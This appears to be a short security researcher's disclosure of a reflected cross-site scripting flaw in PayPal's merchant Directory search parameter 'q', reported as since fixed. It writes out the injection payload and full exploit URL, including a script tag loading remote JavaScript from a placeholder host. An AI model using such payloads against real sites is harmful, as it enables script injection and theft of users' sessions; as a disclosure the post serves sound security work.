I found a reflected cross-site scripting issue in the then-new PayPal Directory service (https://www.paypal.com/directory/merchants), using the following payload:
&q=509%22%20src=%22http://www.example.com/exploit509.js%20%3C script %3E alert %281%29%3C/ script %3EThe vulnerability#
The vulnerable parameter was q, and I was able to break out of the script context of the page, I think it was caused by the second &q parameter, but I am not certain — PayPal fixed the issue too fast for me to analyse it in more depth.
https://www.paypal.com/directory/merchants?q=&q=509%22%20src=%22http://www.example.com/exploit509.js%20%3C script %3E alert %281%29%3C/ script %3E
